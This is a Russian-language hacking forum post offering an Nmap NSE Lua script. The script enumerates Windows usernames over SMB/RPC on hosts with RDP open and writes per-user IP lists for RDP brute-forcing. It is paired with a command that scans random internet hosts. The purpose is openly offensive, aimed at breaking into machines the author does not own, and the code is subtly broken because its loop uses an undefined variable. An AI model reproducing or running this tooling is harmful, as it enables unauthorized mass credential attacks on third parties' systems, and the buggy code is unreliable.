Показать сообщение отдельно

  #5  
Старый 03.02.2010, 15:10
PabloPicasso
Новичок
Регистрация: 02.01.2010
Сообщений: 23
С нами: 8608426

Репутация: 33
По умолчанию

продолжим дальше, хотим создать списки для брута RDP используя реальные имена пользователей на атакуемой системе, в этом нам помогут SMB и RPC библиотеки NMAP:

rdp-to-users.nse
Код:
description = [[
1. Резолвим пользователей 2-мя способами через lsa и samr
 средствами SMB сервиса проверяемой системы.
2. При доступности открытого 3389 порта создаем файлы вида 
 [username].txt и записываем туда айпишки серверов имеющих такой аккаунт.
]]


author = "ROleg aka PabloPicasso"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery"}

require 'msrpc'
require 'smb'
require 'stdnse'
require 'comm'
require 'shortport'


-- укажем условие хоста, функция smb.get_port() 
-- ищет комбинацию открытых портов
-- для доступа к SMB сервису обычно 139 либо поверх 445 порта
-- если найдены порты, открыты, делаем action
hostrule = function(host)
	return smb.get_port(host) ~= nil
end


-- примем на входе хост
action = function(host)

	-- об'явим необходимые переменные
	-- i и j пригодятся для циклов for
	local i, j
	-- определим статусные переменные
	local samr_status = false
	local lsa_status  = false
	-- и для результата
	local samr_result = ""
	local lsa_result  = ""
	-- массивы имен пользователей
	local names = {}
	local names_lookup = {}
	-- массив для сообщений на экран
	local response = {}

	-- т.к. нам важно чтобы был открыт 3389 порт,
	-- будем проверять чтобы лишний раз не выполнять основное тело скрипта
	if (shortport.port_or_service(3389, "ms-term-serv")) then

	-- Пробуем получить информацию при помощи SAMR.
	samr_status, samr_result = msrpc.samr_enum_users(host)

	-- если получилось
	if(samr_status) then
		-- от 1 до #samr_result по одному =)
		for i = 1, #samr_result, 1 do
			-- заносим в массив names[] полученные результаты
			table.insert(names, samr_result[i])
			-- будем избавляется от дубликатов
			names_lookup[samr_result[i]['name']] = true
		end
	end

	-- Пробуем получить информацию через LSA. 
	lsa_status, lsa_result  = msrpc.lsa_enum_users(host)
		
	if(lsa_status) then
		for i = 1, #lsa_result, 1 do
			if(lsa_result[i]['name'] ~= nil) then
				-- проверим нет ли уже у нас такого имени
				if(not(names_lookup[lsa_result[i]['name']])) then
					-- заносим в массив names[] полученные результаты
					table.insert(names, lsa_result[i])
				end
			end
		end
	end

	-- Если все способы не сработали
	if(samr_status == false and lsa_status == false) then
		-- и если ответом было ACCESS_DENIED
		if(string.find(lsa_result, 'ACCESS_DENIED')) then
			return stdnse.format_output(false, "Доступ ограничен настройками политик")
		end
		
		return stdnse.format_output(false, {"Невозможно определить имена пользователей", "SAMR вернул " .. samr_result, "LSA вернул " .. lsa_result})
	end

	-- Делаем сортировку
	table.sort(names, function (a, b) return string.lower(a.name) < string.lower(b.name) end)

	-- Проверим есть ли имена в массиве
	if(#names == 0) then
		table.insert(response, "Скрипт не получил имен, извините!")
	else

		-- Запишем айпишки серверов в файлы, для каждого пользователя в свой
		local names = {}
		for _, info in ipairs(domain_users) do
		
			file = io.open (info['name']..".txt","a+")
			file:write (host.ip.."\n")
			file:flush()
			file:close()
			
			table.insert(names, info['name'])
		end

		-- Выводим на стандартный выход результаты работы
		table.insert(response, string.format("Users: %s", stdnse.strjoin(", ", names)))
	end
	
	end
	
	return stdnse.format_output(true, response)
end
брутить по спискам Administrator.txt, Admin.txt, root.txt или Вася.txt намного проще чем перебирать все возможные логины брутом =)
но есть свои минусы, не везде включены SMB службы (

заходим например в диррикторию users_ip_to_brute: cd users_ip_to_brute
выполняем: nmap -iR 0 -n -sU -sS -PS137,139,445,3389 -p U:137,T:139,445,3389 --script=rdp-to-users.nse
ждем, брутим...

Последний раз редактировалось PabloPicasso; 03.02.2010 в 15:22..
 
Ответить с цитированием